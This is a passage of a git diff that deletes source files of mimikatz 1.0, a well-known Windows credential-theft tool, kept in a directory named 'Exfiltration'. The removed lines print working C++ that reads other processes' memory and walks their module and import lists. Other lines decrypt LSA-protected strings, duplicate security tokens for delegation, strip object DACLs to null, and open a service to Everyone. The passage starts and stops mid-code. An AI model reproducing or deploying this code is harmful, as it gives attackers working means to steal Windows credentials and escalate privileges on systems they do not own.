ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size]; - if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess)) - { - PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast(ayIMAGE_IMPORT_DESCRIPTOR); - if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) - { - while(structImportDesc->Characteristics) - { - DWORD i = 0; - - BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)]; - BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)]; - - vector mesImports; - - for(;;) - { - if( - mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess) - && - mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess) - ) - { - PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast(ayIMAGE_THUNK_DATA_HintName); - PIMAGE_THUNK_DATA IATArray = reinterpret_cast(ayIMAGE_THUNK_DATA_IAT); - - if(HintNameArray->u1.Function) - { - KIWI_IAT_MODULE imageIAT = { - baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function), - reinterpret_cast(IATArray->u1.Function), - 0, - string() - }; - - if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG) - { - imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal); - } - else - { - BYTE monTab[] = {0}; - long offsetToNull; - if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) - { - BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull]; - if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess)) - { - PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast(ayIMAGE_IMPORT_BY_NAME); - imageIAT.funcName = string(reinterpret_cast(nameImg->Name)); - } - delete [] ayIMAGE_IMPORT_BY_NAME; - } - } - - mesImports.push_back(imageIAT); - i++; - } - else break; - } - else break; - } - - delete[] ayIMAGE_THUNK_DATA_IAT; - delete[] ayIMAGE_THUNK_DATA_HintName; - - BYTE monTab[] = {0}; - long offsetToNull; - - if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) - { - char * maLib = new char[offsetToNull+1]; - if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess)) - { - monIAT->push_back(make_pair(string(maLib), mesImports)); - } - delete [] maLib; - } - - structImportDesc++; - } - } - } - delete[] ayIMAGE_IMPORT_DESCRIPTOR; - } - } - } - delete[] ayIMAGE_NT_HEADERS; - } - } - delete[] ayIMAGE_DOS_HEADER; - - return reussite; -} - -bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector * mesProcess) -{ - bool reussite = false; - bool tabOk = false; - - vector * monTab; - - if(!mesProcess) - { - monTab = new vector(); - tabOk = mod_process::getList(monTab); - } - else - { - monTab = mesProcess; - } - - if(mesProcess || tabOk) - { - for(vector::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++) - { - if(reussite = (monProcess->th32ProcessID == processId)) - { - *processKiwi = *monProcess; - break; - } - } - } - - if(!mesProcess) - { - delete monTab; - } - - return reussite; -} - -bool mod_process::getVeryBasicModulesListForProcess(vector * monModuleVector, HANDLE processHandle) -{ - bool reussite = false; - PEB * monPeb = new PEB(); - if(getPeb(monPeb, processHandle)) - { - PEB_LDR_DATA * monLoader = new PEB_LDR_DATA(); - if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(PEB_LDR_DATA), processHandle)) - { - PBYTE aLire, fin; - LDR_DATA_TABLE_ENTRY monEntry; - for( - aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), - fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector); - aLire != fin; - aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks) - ) - { - if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle)) - { - KIWI_VERY_BASIC_MODULEENTRY monModule = { - reinterpret_cast(monEntry.DllBase), - monEntry.SizeOfImage, - getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle) - }; - monModuleVector->push_back(monModule); - } - } - } - delete monLoader; - } - delete monPeb; - return reussite; -} - -wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) -{ - wstring maChaine; - BYTE * monBuffer = NULL; - if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction)) - { - maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length)); - } - if(monBuffer) - delete[] monBuffer; - return maChaine; -} - -bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) -{ - bool resultat = false; - - if(ptrString->Buffer && (ptrString->Length > 0)) - { - *monBuffer = new BYTE[ptrString->MaximumLength]; - if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process)) - { - if(unProtectFunction) - unProtectFunction(*monBuffer, ptrString->MaximumLength); - } - } - return resultat; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.h b/Exfiltration/mimikatz-1.0/modules/mod_process.h deleted file mode 100644 index a7acf180..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_process.h +++ /dev/null @@ -1,84 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "secpkg.h" -#include "mod_ntddk.h" -#include "mod_memory.h" -#include "mod_text.h" -#include -#include - -class mod_process -{ -public: - typedef struct _KIWI_IAT_MODULE - { - PVOID ptrToFunc; - PVOID ptrFunc; - WORD Ordinal; - string funcName; - } KIWI_IAT_MODULE, *PKIWI_IAT_MODULE; - - typedef struct _KIWI_PROCESSENTRY32 - { - DWORD dwSize; - DWORD cntUsage; - DWORD th32ProcessID; // this process - ULONG_PTR th32DefaultHeapID; - DWORD th32ModuleID; // associated exe - DWORD cntThreads; - DWORD th32ParentProcessID; // this process's parent process - LONG pcPriClassBase; // Base priority of process's threads - DWORD dwFlags; - wstring szExeFile; // Path - } KIWI_PROCESSENTRY32, *PKIWI_PROCESSENTRY32; - - typedef struct _KIWI_MODULEENTRY32 - { - DWORD dwSize; - DWORD th32ModuleID; // This module - DWORD th32ProcessID; // owning process - DWORD GlblcntUsage; // Global usage count on the module - DWORD ProccntUsage; // Module usage count in th32ProcessID's context - BYTE * modBaseAddr; // Base address of module in th32ProcessID's context - DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr - HMODULE hModule; // The hModule of this module in th32ProcessID's context - wstring szModule; - wstring szExePath; - } KIWI_MODULEENTRY32, *PKIWI_MODULEENTRY32; - - typedef struct _KIWI_VERY_BASIC_MODULEENTRY - { - BYTE * modBaseAddr; // Base address of module in th32ProcessID's context - DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr - wstring szModule; - } KIWI_VERY_BASIC_MODULEENTRY, *PKIWI_VERY_BASIC_MODULEENTRY; - - static bool getList(vector * maProcessesvector, wstring * processName = NULL); - static bool getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName); - - static bool start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused = false, bool aUsurper = false, HANDLE leToken = NULL); - static bool suspend(DWORD & processId); - static bool resume(DWORD & processId); - static bool stop(DWORD & processId, DWORD exitCode = 0); - - static bool debug(DWORD & processId); - - static bool getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId); - static bool getModulesListForProcessId(vector * maModulevector, DWORD * processId = NULL); - static bool getVeryBasicModulesListForProcess(vector * monModuleVector, HANDLE processHandle = INVALID_HANDLE_VALUE); - static bool getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName = NULL, DWORD * processId = NULL); - - static bool getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector * mesProcess = NULL); - - static bool getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle = INVALID_HANDLE_VALUE); - static bool getPeb(PEB * peb, HANDLE processHandle = INVALID_HANDLE_VALUE); - static bool getIAT(PBYTE ptrBaseAddr, vector>> * monIAT, HANDLE handleProcess = INVALID_HANDLE_VALUE); - - static wstring getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process = INVALID_HANDLE_VALUE, PLSA_PROTECT_MEMORY unProtectFunction = NULL); - static bool getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction = NULL); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp deleted file mode 100644 index c14632c0..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp +++ /dev/null @@ -1,162 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_secacl.h" - -bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType) -{ - PSECURITY_DESCRIPTOR newSD = NULL; - ULONG laTaille; - bool succes = false; - - if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS) - { - switch(monType) - { - case SE_KERNEL_OBJECT: - succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0; - break; - case SE_SERVICE: - succes = SetServiceObjectSecurity(*reinterpret_cast(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0; - break; - } - LocalFree(newSD); - } - - return succes; -} - -bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle) -{ - bool reussite = false; - DWORD dwSizeNeeded = 0; - SECURITY_DESCRIPTOR monSd; - if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) - { - PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded]; - if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) - { - SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; - PSID pEveryoneSID = NULL; - if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID)) - { - EXPLICIT_ACCESS ForEveryOne; - RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS)); - ForEveryOne.grfAccessMode = SET_ACCESS; - ForEveryOne.grfInheritance = NO_INHERITANCE; - ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ; - ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID; - ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; - ForEveryOne.Trustee.ptstrName = reinterpret_cast(pEveryoneSID); - - PSECURITY_DESCRIPTOR newSd = NULL; - DWORD laTaille; - if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS) - { - reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0; - LocalFree(newSd); - } - FreeSid(pEveryoneSID); - } - } - delete [] oldSd; - } - return reussite; -} - -bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid) -{ - bool reussite = false; - - wchar_t * szSid; - if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0) - { - strSid->assign(szSid); - LocalFree(szSid); - } - return reussite; -} - -bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) -{ - bool reussite = false; - - DWORD dwSizeName = 0; - DWORD dwSizeDomain = 0; - SID_NAME_USE nameUse; - - if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) - { - wchar_t * monNom = new wchar_t[dwSizeName]; - wchar_t * monDomain = new wchar_t[dwSizeDomain]; - if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0) - { - strName->assign(monNom); - if(domainName) - domainName->assign(monDomain); - - if(usage) - *usage = nameUse; - } - delete[] monDomain; - delete[] monNom; - } - - return reussite; -} - -bool mod_secacl::simpleSidToString(PSID Sid, wstring * String) -{ - wstring userName; - wstring domaineName; - String->clear(); - - if(Sid) - { - if(mod_secacl::sidToName(Sid, &userName, &domaineName)) - { - String->assign(domaineName); - String->push_back(L'\\'); - String->append(userName); - } - else - mod_secacl::sidToStrSid(Sid, String); - } - if(String->empty()) - String->assign(L"(null)"); - - return true; -} - -bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) -{ - bool reussite = false; - - DWORD szNeeded = 0; - if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) - { - BYTE * mesDonnees = new BYTE[szNeeded]; - if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded)) - { - TOKEN_USER * monUser = reinterpret_cast(mesDonnees); - reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage); - } - delete[] mesDonnees; - } - - return reussite; -} - -bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle) -{ - bool reussite = false; - HANDLE secToken; - if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, /*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0) - { - CloseHandle(*tokenHandle); - *tokenHandle = secToken; - } - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.h b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h deleted file mode 100644 index 5e8aa04f..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_secacl.h +++ /dev/null @@ -1,24 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include - -using namespace std; - -class mod_secacl -{ -public: - static bool simpleSidToString(PSID Sid, wstring * String); - static bool sidToStrSid(PSID Sid, wstring * strSid); - static bool nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType = SE_KERNEL_OBJECT); - static bool sidToName(PSID Sid, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); - static bool tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); - - static bool exchangeDupToken(HANDLE * tokenHandle); - static bool addWorldToMimikatz(SC_HANDLE * monHandle); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.cpp b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp deleted file mode 100644 index c2344818..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_service.cpp +++ /dev/null @@ -1,142 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_service.h" - -bool mod_service::getList(vector * monVectorService, wstring * machineName) // machine non implment -{ - bool reussite = false; - DWORD error = ERROR_SUCCESS; - - if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE)) - { - DWORD tailleRequise = 0; - DWORD nbServices = 0; - DWORD resumeHandle = 0; - - if(!(EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) && GetLastError() == ERROR_MORE_DATA) - { - BYTE * servicesBuff = new BYTE[tailleRequise]; - ENUM_SERVICE_STATUS_PROCESS * mesServ = reinterpret_cast(servicesBuff); - if(reussite = EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, servicesBuff, tailleRequise, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) - { - for(DWORD i = 0; i < nbServices; i++) - { - KIWI_SERVICE_STATUS_PROCESS monService = {mesServ[i].lpServiceName, mesServ[i].lpDisplayName, mesServ[i].ServiceStatusProcess}; - monVectorService->push_back(monService); - } - } - delete[] servicesBuff; - error = GetLastError(); - } - - CloseServiceHandle(monManager); - SetLastError(error); - } - return reussite; -} - - -bool mod_service::getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName) // machine non implment -{ - bool reussite = false; - - vector * vectorServices = new vector(); - if(getList(vectorServices, machineName)) - { - for(vector::iterator monSvc = vectorServices->begin(); monSvc != vectorServices->end(); monSvc++) - { - if(reussite = (_wcsicmp(monSvc->serviceName.c_str(), serviceName->c_str()) == 0)) - { - *monService = *monSvc; - break; - } - } - } - delete vectorServices; - - return reussite; -} - -bool mod_service::start(wstring * serviceName, wstring * machineName) -{ - bool reussite = false; - DWORD error = ERROR_SUCCESS; - if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) - { - if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), SERVICE_START)) - { - if(!(reussite = StartService(monService, 0, NULL) != 0)) - error = GetLastError(); - CloseServiceHandle(monService); - } - else - error = GetLastError(); - CloseServiceHandle(monManager); - SetLastError(error); - } - - return reussite; -} - -bool mod_service::remove(wstring * serviceName, wstring * machineName) -{ - bool reussite = false; - DWORD error = ERROR_SUCCESS; - if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) - { - if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), DELETE)) - { - if(!(reussite = DeleteService(monService) != 0)) - error = GetLastError(); - CloseServiceHandle(monService); - } - else - error = GetLastError(); - CloseServiceHandle(monManager); - SetLastError(error); - } - return reussite; -} - -bool mod_service::genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName) -{ - bool reussite = false; - DWORD error = ERROR_SUCCESS; - if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) - { - if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), dwDesiredAccess)) - { - if(!(reussite = ControlService(monService, dwControl, ptrServiceStatus) != 0)) - error = GetLastError(); - CloseServiceHandle(monService); - } - else - error = GetLastError(); - CloseServiceHandle(monManager); - SetLastError(error); - } - return reussite; -} - - -bool mod_service::stop(wstring * serviceName, wstring * machineName) -{ - SERVICE_STATUS serviceStatus; - return(genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, &serviceStatus, machineName)); -} - -bool mod_service::suspend(wstring * serviceName, wstring * machineName) -{ - SERVICE_STATUS serviceStatus; - return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_PAUSE, &serviceStatus, machineName)); -} - -bool mod_service::resume(wstring * serviceName, wstring * machineName) -{ - SERVICE_STATUS serviceStatus; - return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_CONTINUE, &serviceStatus, machineName)); -} - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.h b/Exfiltration/mimikatz-1.0/modules/mod_service.h deleted file mode 100644 index b4384543..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_service.h +++ /dev/null @@ -1,38 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_secacl.h" - -class mod_service -{ -private: - static bool genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName = NULL); - -public: - typedef struct _KIWI_SERVICE_STATUS_PROCESS - { - wstring serviceName; - wstring serviceDisplayName; - SERVICE_STATUS_PROCESS ServiceStatusProcess; - } KIWI_SERVICE_STATUS_PROCESS, *PKIWI_SERVICE_STATUS_PROCESS; - - static bool getList(vector * monVectorService, wstring * machineName = NULL); - static bool getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName = NULL); - - static bool start(wstring * serviceName, wstring * machineName = NULL); - static bool suspend(wstring * serviceName, wstring * machineName = NULL); - static bool resume(wstring * serviceName, wstring * machineName = NULL); - static bool stop(wstring * serviceName, wstring * machineName = NULL); - - static bool query(wstring * serviceName, wstring * machineName = NULL); // a voir ? - - static bool add(wstring * binPath, vector * arguments); // bla bla - static bool remove(wstring * serviceName, wstring * machineName = NULL); - static bool control(vector * arguments); - -}; - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.cpp b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp deleted file mode 100644 index 7a79a767..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_system.cpp +++ /dev/null @@ -1,208 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_system.h" - -OSVERSIONINFOEX mod_system::GLOB_Version; - -wstring mod_system::getWinError(bool automatique, DWORD code) -{ - bool reussite = false; - DWORD dwError = (automatique ? GetLastError() : code); - wostringstream resultat; - wchar_t * monBuffer = NULL; - - resultat << L"(0x" << setw(sizeof(DWORD)*2) << setfill(wchar_t('0')) << hex << dwError << dec << L')'; - if(!(reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast(&monBuffer), 0, NULL) != 0)) - reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK | FORMAT_MESSAGE_FROM_HMODULE, GetModuleHandle(L"ntdll"), dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast(&monBuffer), 0, NULL) != 0; - - if(reussite) - { - resultat << L' ' << monBuffer; - LocalFree(monBuffer); - } - else resultat << L" * Impossible d\'obtenir un message *"; - - return resultat.str(); -} - -bool mod_system::getUserName(wstring * monUserName) -{ - bool reussite = false; - unsigned long tailleRequise = 0; - - if(!GetUserNameEx(NameSamCompatible, NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) - { - wchar_t * monBuffer = new wchar_t[tailleRequise]; - if(reussite = (GetUserNameEx(NameSamCompatible, monBuffer, &tailleRequise) != 0)) - { - monUserName->assign(monBuffer); - } - delete[] monBuffer; - } - return reussite; -} - -bool mod_system::getComputerName(wstring * monComputerName) -{ - bool reussite = false; - DWORD tailleRequise = 0; - - if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified , NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) - { - wchar_t * monBuffer = new wchar_t[tailleRequise]; - if(reussite = (GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, monBuffer, &tailleRequise) != 0)) - { - monComputerName->assign(monBuffer); - } - delete[] monBuffer; - } - return reussite; -} - -bool mod_system::getVersion(OSVERSIONINFOEX * maVersion) -{ - RtlZeroMemory(maVersion, sizeof(OSVERSIONINFOEX)); - maVersion->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); - return (GetVersionEx(reinterpret_cast(maVersion)) != 0); -} - -bool mod_system::getCurrentDirectory(wstring * monRepertoire) -{ - bool reussite = false; - DWORD tailleRequise = GetCurrentDirectory(0, NULL); - wchar_t * monBuffer = new wchar_t[tailleRequise]; - if(tailleRequise > 0 && GetCurrentDirectory(tailleRequise, monBuffer) == tailleRequise - 1) - { - monRepertoire->assign(monBuffer); - reussite = true; - } - delete monBuffer; - return reussite; -} - -bool mod_system::getAbsolutePathOf(wstring &thisData, wstring *reponse) -{ - bool reussite = false; - wchar_t monBuffer[MAX_PATH]; - - if(PathIsRelative(thisData.c_str())) - { - wstring monRep = L""; - if(reussite = getCurrentDirectory(&monRep)) - { - PathCombine(monBuffer, monRep.c_str(), thisData.c_str()); - reponse->assign(monBuffer); - } - } - else - { - if(reussite = (PathCanonicalize(monBuffer, thisData.c_str()) != 0)) - { - reponse->assign(monBuffer); - } - } - return reussite; -} - -bool mod_system::isFileExist(std::wstring &fichier, bool *resultat) -{ - bool reussite = false; - HANDLE monFichier = CreateFile(fichier.c_str(), 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); - - if(reussite = (monFichier && monFichier != INVALID_HANDLE_VALUE)) - { - CloseHandle(monFichier); - *resultat = true; - } - else if(reussite = (GetLastError() == ERROR_FILE_NOT_FOUND)) - { - *resultat = false; - } - return reussite; -} - -bool mod_system::getSystemHandles(vector * mesHandles, DWORD * pid) -{ - bool reussite = false; - - if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) - { - DWORD size = 0x10000; - BYTE * monBuffer = new BYTE[size]; - ULONG sizeReturn = 0; - NTSTATUS status; - - while((status = NtQuerySystemInformation(SystemHandleInformation, monBuffer, size, &sizeReturn)) == STATUS_INFO_LENGTH_MISMATCH) - { - delete[] monBuffer; - size <<= 1; - monBuffer = new BYTE[size]; - } - - if(reussite = NT_SUCCESS(status)) - { - PSYSTEM_HANDLE_INFORMATION mesInfos = reinterpret_cast(monBuffer); - for(DWORD i = 0; i < mesInfos->HandleCount; i++) - { - if(!pid || *pid == mesInfos->Handles[i].ProcessId) - mesHandles->push_back(mesInfos->Handles[i]); - } - } - - delete[] monBuffer; - } - - return reussite; -} - -bool mod_system::getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo) -{ - bool reussite = false; - - if(PNT_QUERY_OBJECT NtQueryObject = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryObject"))) - { - DWORD tailleRequise = 0; - - if(NtQueryObject(monHandle, typeInfo, NULL, 0, &tailleRequise) == STATUS_INFO_LENGTH_MISMATCH) - { - *buffer = new BYTE[tailleRequise]; - if(!(reussite = NT_SUCCESS(NtQueryObject(monHandle, typeInfo, *buffer, tailleRequise, &tailleRequise)))) - { - delete[] buffer; - } - } - } - - return reussite; -} - -bool mod_system::getHandleType(HANDLE monHandle, wstring * strType) -{ - bool reussite = false; - - BYTE * monBuffer = NULL; - if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectTypeInformation)) - { - POBJECT_TYPE_INFORMATION typeInfo = reinterpret_cast(monBuffer); - strType->assign(typeInfo->Name.Buffer, typeInfo->Name.Length / sizeof(wchar_t)); - delete[] monBuffer; - } - return reussite; -} - -bool mod_system::getHandleName(HANDLE monHandle, wstring * strName) -{ - bool reussite = false; - - BYTE * monBuffer = NULL; - if(reussite = 